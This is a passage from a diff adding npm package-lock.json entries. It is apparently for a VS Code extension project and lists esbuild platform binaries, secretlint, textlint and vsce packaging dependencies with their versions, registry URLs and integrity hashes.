"sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@isaacs/cliui": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-9.0.0.tgz", + "integrity": "sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=18" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@secretlint/config-creator": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/config-creator/-/config-creator-10.2.2.tgz", + "integrity": "sha512-BynOBe7Hn3LJjb3CqCHZjeNB09s/vgf0baBaHVw67w7gHF0d25c3ZsZ5+vv8TgwSchRdUCRrbbcq5i2B1fJ2QQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@secretlint/types": "^10.2.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@secretlint/config-loader": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/config-loader/-/config-loader-10.2.2.tgz", + "integrity": "sha512-ndjjQNgLg4DIcMJp4iaRD6xb9ijWQZVbd9694Ol2IszBIbGPPkwZHzJYKICbTBmh6AH/pLr0CiCaWdGJU7RbpQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@secretlint/profiler": "^10.2.2", + "@secretlint/resolver": "^10.2.2", + "@secretlint/types": "^10.2.2", + "ajv": "^8.17.1", + "debug": "^4.4.1", + "rc-config-loader": "^4.1.3" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@secretlint/core": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/core/-/core-10.2.2.tgz", + "integrity": "sha512-6rdwBwLP9+TO3rRjMVW1tX+lQeo5gBbxl1I5F8nh8bgGtKwdlCMhMKsBWzWg1ostxx/tIG7OjZI0/BxsP8bUgw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@secretlint/profiler": "^10.2.2", + "@secretlint/types": "^10.2.2", + "debug": "^4.4.1", + "structured-source": "^4.0.0" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@secretlint/formatter": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/formatter/-/formatter-10.2.2.tgz", + "integrity": "sha512-10f/eKV+8YdGKNQmoDUD1QnYL7TzhI2kzyx95vsJKbEa8akzLAR5ZrWIZ3LbcMmBLzxlSQMMccRmi05yDQ5YDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@secretlint/resolver": "^10.2.2", + "@secretlint/types": "^10.2.2", + "@textlint/linter-formatter": "^15.2.0", + "@textlint/module-interop": "^15.2.0", + "@textlint/types": "^15.2.0", + "chalk": "^5.4.1", + "debug": "^4.4.1", + "pluralize": "^8.0.0", + "strip-ansi": "^7.1.0", + "table": "^6.9.0", + "terminal-link": "^4.0.0" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@secretlint/formatter/node_modules/chalk": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", + "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@secretlint/node": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/node/-/node-10.2.2.tgz", + "integrity": "sha512-eZGJQgcg/3WRBwX1bRnss7RmHHK/YlP/l7zOQsrjexYt6l+JJa5YhUmHbuGXS94yW0++3YkEJp0kQGYhiw1DMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@secretlint/config-loader": "^10.2.2", + "@secretlint/core": "^10.2.2", + "@secretlint/formatter": "^10.2.2", + "@secretlint/profiler": "^10.2.2", + "@secretlint/source-creator": "^10.2.2", + "@secretlint/types": "^10.2.2", + "debug": "^4.4.1", + "p-map": "^7.0.3" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@secretlint/profiler": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/profiler/-/profiler-10.2.2.tgz", + "integrity": "sha512-qm9rWfkh/o8OvzMIfY8a5bCmgIniSpltbVlUVl983zDG1bUuQNd1/5lUEeWx5o/WJ99bXxS7yNI4/KIXfHexig==", + "dev": true, + "license": "MIT" + }, + "node_modules/@secretlint/resolver": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/resolver/-/resolver-10.2.2.tgz", + "integrity": "sha512-3md0cp12e+Ae5V+crPQYGd6aaO7ahw95s28OlULGyclyyUtf861UoRGS2prnUrKh7MZb23kdDOyGCYb9br5e4w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@secretlint/secretlint-formatter-sarif": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-formatter-sarif/-/secretlint-formatter-sarif-10.2.2.tgz", + "integrity": "sha512-ojiF9TGRKJJw308DnYBucHxkpNovDNu1XvPh7IfUp0A12gzTtxuWDqdpuVezL7/IP8Ua7mp5/VkDMN9OLp1doQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "node-sarif-builder": "^3.2.0" + } + }, + "node_modules/@secretlint/secretlint-rule-no-dotenv": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-no-dotenv/-/secretlint-rule-no-dotenv-10.2.2.tgz", + "integrity": "sha512-KJRbIShA9DVc5Va3yArtJ6QDzGjg3PRa1uYp9As4RsyKtKSSZjI64jVca57FZ8gbuk4em0/0Jq+uy6485wxIdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@secretlint/types": "^10.2.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@secretlint/secretlint-rule-preset-recommend": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-preset-recommend/-/secretlint-rule-preset-recommend-10.2.2.tgz", + "integrity": "sha512-K3jPqjva8bQndDKJqctnGfwuAxU2n9XNCPtbXVI5JvC7FnQiNg/yWlQPbMUlBXtBoBGFYp08A94m6fvtc9v+zA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@secretlint/source-creator": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/source-creator/-/source-creator-10.2.2.tgz", + "integrity": "sha512-h6I87xJfwfUTgQ7irWq7UTdq/Bm1RuQ/fYhA3dtTIAop5BwSFmZyrchph4WcoEvbN460BWKmk4RYSvPElIIvxw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@secretlint/types": "^10.2.2", + "istextorbinary": "^9.5.0" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@secretlint/types": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/types/-/types-10.2.2.tgz", + "integrity": "sha512-Nqc90v4lWCXyakD6xNyNACBJNJ0tNCwj2WNk/7ivyacYHxiITVgmLUFXTBOeCdy79iz6HtN9Y31uw/jbLrdOAg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@sindresorhus/merge-streams": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/merge-streams/-/merge-streams-2.3.0.tgz", + "integrity": "sha512-LtoMMhxAlorcGhmFYI+LhPgbPZCkgP6ra1YL604EeF6U98pLlQ3iWIGMdWSC+vWmPBWBNgmDBAhnAobLROJmwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@textlint/ast-node-types": { + "version": "15.5.2", + "resolved": "https://registry.npmjs.org/@textlint/ast-node-types/-/ast-node-types-15.5.2.tgz", + "integrity": "sha512-fCaOxoup5LIyBEo7R1oYWE7V4bSX0KQeHh66twon9e9usaLE3ijgF8QjYsR6joCssdeCHVd0wHm7ppsEyTr6vg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@textlint/linter-formatter": { + "version": "15.5.2", + "resolved": "https://registry.npmjs.org/@textlint/linter-formatter/-/linter-formatter-15.5.2.tgz", + "integrity": "sha512-jAw7jWM8+wU9cG6Uu31jGyD1B+PAVePCvnPKC/oov+2iBPKk3ao30zc/Itmi7FvXo4oPaL9PmzPPQhyniPVgVg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@azu/format-text": "^1.0.2", + "@azu/style-format": "^1.0.1", + "@textlint/module-interop": "15.5.2", + "@textlint/resolver": "15.5.2", + "@textlint/types": "15.5.2", + "chalk": "^4.1.2", + "debug": "^4.4.3", + "js-yaml": "^4.1.1", + "lodash": "^4.17.23", + "pluralize": "^2.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1", + "table": "^6.9.0", + "text-table": "^0.2.0" + } + }, + "node_modules/@textlint/linter-formatter/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@textlint/linter-formatter/node_modules/pluralize": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-2.0.0.tgz", + "integrity": "sha512-TqNZzQCD4S42De9IfnnBvILN7HAW7riLqsCyp8lgjXeysyPlX5HhqKAcJHHHb9XskE4/a+7VGC9zzx8Ls0jOAw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@textlint/linter-formatter/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@textlint/module-interop": { + "version": "15.5.2", + "resolved": "https://registry.npmjs.org/@textlint/module-interop/-/module-interop-15.5.2.tgz", + "integrity": "sha512-mg6rMQ3+YjwiXCYoQXbyVfDucpTa1q5mhspd/9qHBxUq4uY6W8GU42rmT3GW0V1yOfQ9z/iRrgPtkp71s8JzXg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@textlint/resolver": { + "version": "15.5.2", + "resolved": "https://registry.npmjs.org/@textlint/resolver/-/resolver-15.5.2.tgz", + "integrity": "sha512-YEITdjRiJaQrGLUWxWXl4TEg+d2C7+TNNjbGPHPH7V7CCnXm+S9GTjGAL7Q2WSGJyFEKt88Jvx6XdJffRv4HEA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@textlint/types": { + "version": "15.5.2", + "resolved": "https://registry.npmjs.org/@textlint/types/-/types-15.5.2.tgz", + "integrity": "sha512-sJOrlVLLXp4/EZtiWKWq9y2fWyZlI8GP+24rnU5avtPWBIMm/1w97yzKrAqYF8czx2MqR391z5akhnfhj2f/AQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@textlint/ast-node-types": "15.5.2" + } + }, + "node_modules/@types/normalize-package-data": { + "version": "2.4.4", + "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.4.tgz", + "integrity": "sha512-37i+OaWTh9qeK4LSHPsyRC7NahnGotNuZvjLSgcPzblpHB3rrCJxAOgI5gCdKm7coonsaX1Of0ILiTcnZjbfxA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/sarif": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/@types/sarif/-/sarif-2.1.7.tgz", + "integrity": "sha512-kRz0VEkJqWLf1LLVN4pT1cg1Z9wAuvI6L97V3m2f5B76Tg8d413ddvLBPTEHAZJlnn4XSvu0FkZtViCQGVyrXQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/vscode": { + "version": "1.110.0", + "resolved": "https://registry.npmjs.org/@types/vscode/-/vscode-1.110.0.tgz", + "integrity": "sha512-AGuxUEpU4F4mfuQjxPPaQVyuOMhs+VT/xRok1jiHVBubHK7lBRvCuOMZG0LKUwxncrPorJ5qq/uil3IdZBd5lA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@typespec/ts-http-runtime": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@typespec/ts-http-runtime/-/ts-http-runtime-0.3.3.tgz", + "integrity": "sha512-91fp6CAAJSRtH5ja95T1FHSKa8aPW9/Zw6cta81jlZTUw/+Vq8jM/AfF/14h2b71wwR84JUTW/3Y8QPhDAawFA==", + "dev": true, + "license": "MIT", + "dependencies": { + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@vscode/vsce": { + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce/-/vsce-3.7.1.tgz", + "integrity": "sha512-OTm2XdMt2YkpSn2Nx7z2EJtSuhRHsTPYsSK59hr3v8jRArK+2UEoju4Jumn1CmpgoBLGI6ReHLJ/czYltNUW3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@azure/identity": "^4.1.0", + "@secretlint/node": "^10.1.2", + "@secretlint/secretlint-formatter-sarif": "^10.1.2", + "@secretlint/secretlint-rule-no-dotenv": "^10.1.2", + "@secretlint/secretlint-rule-preset-recommend": "^10.1.2", + "@vscode/vsce-sign": "^2.0.0", + "azure-devops-node-api": "^12.5.0", + "chalk": "^4.1.2", + "cheerio": "^1.0.0-rc.9", + "cockatiel": "^3.1.2", + "commander": "^12.1.0", + "form-data": "^4.0.0", + "glob": "^11.0.0", + "hosted-git-info": "^4.0.2", + "jsonc-parser": "^3.2.0", + "leven": "^3.1.0", + "markdown-it": "^14.1.0", + "mime": "^1.3.4", + "minimatch": "^3.0.3", + "parse-semver": "^1.1.1", + "read": "^1.0.7", + "secretlint": "^10.1.2", + "semver": "^7.5.2", + "tmp": "^0.2.3", + "typed-rest-client": "^1.8.4", + "url-join": "^4.0.1", + "xml2js": "^0.5.0", + "yauzl": "^2.3.1", + "yazl": "^2.2.2" + }, + "bin": { + "vsce": "vsce" + }, + "engines": { + "node": ">= 20" + }, + "optionalDependencies": { + "keytar": "^7.7.0" + } + }, + "node_modules/@vscode/vsce-sign": { + "version": "2.0.9", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign/-/vsce-sign-2.0.9.tgz", + "integrity": "sha512-8IvaRvtFyzUnGGl3f5+1Cnor3LqaUWvhaUjAYO8Y39OUYlOf3cRd+dowuQYLpZcP3uwSG+mURwjEBOSq4SOJ0g==", + "dev": true, + "hasInstallScript": true, + "license": "SEE LICENSE IN LICENSE.txt", + "optionalDependencies": { + "@vscode/vsce-sign-alpine-arm64": "2.0.6", + "@vscode/vsce-sign-alpine-x64": "2.0.6", + "@vscode/vsce-sign-darwin-arm64": "2.0.6", + "@vscode/vsce-sign-darwin-x64": "2.0.6", + "@vscode/vsce-sign-linux-arm": "2.0.6", + "@vscode/vsce-sign-linux-arm64": "2.0.6", + "@vscode/vsce-sign-linux-x64": "2.0.6", + "@vscode/vsce-sign-win32-arm64": "2.0.6", + "@vscode/vsce-sign-win32-x64": "2.0.6" + } + }, + "node_modules/@vscode/vsce-sign-alpine-arm64": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-alpine-arm64/-/vsce-sign-alpine-arm64-2.0.6.tgz", + "integrity": "sha512-wKkJBsvKF+f0GfsUuGT0tSW0kZL87QggEiqNqK6/8hvqsXvpx8OsTEc3mnE1kejkh5r+qUyQ7PtF8jZYN0mo8Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "SEE LICENSE IN LICENSE.txt", + "optional": true, + "os": [ + "alpine" + ] + }, + "node_modules/@vscode/vsce-sign-alpine-x64": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-alpine-x64/-/vsce-sign-alpine-x64-2.0.6.tgz", + "integrity": "sha512-YoAGlmdK39vKi9jA18i4ufBbd95OqGJxRvF3n6ZbCyziwy3O+JgOpIUPxv5tjeO6gQfx29qBivQ8ZZTUF2Ba0w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "SEE LICENSE IN LICENSE.txt", + "optional": true, + "os": [ + "alpine" + ] + }, + "node_modules/@vscode/vsce-sign-darwin-arm64": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-darwin-arm64/-/vsce-sign-darwin-arm64-2.0.6.tgz", + "integrity": "sha512-5HMHaJRIQuozm/XQIiJiA0W9uhdblwwl2ZNDSSAeXGO9YhB9MH5C4KIHOmvyjUnKy4UCuiP43VKpIxW1VWP4tQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "SEE LICENSE IN LICENSE.txt", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@vscode/vsce-sign-darwin-x64": { + "version": "2.0.6", + "resolved": 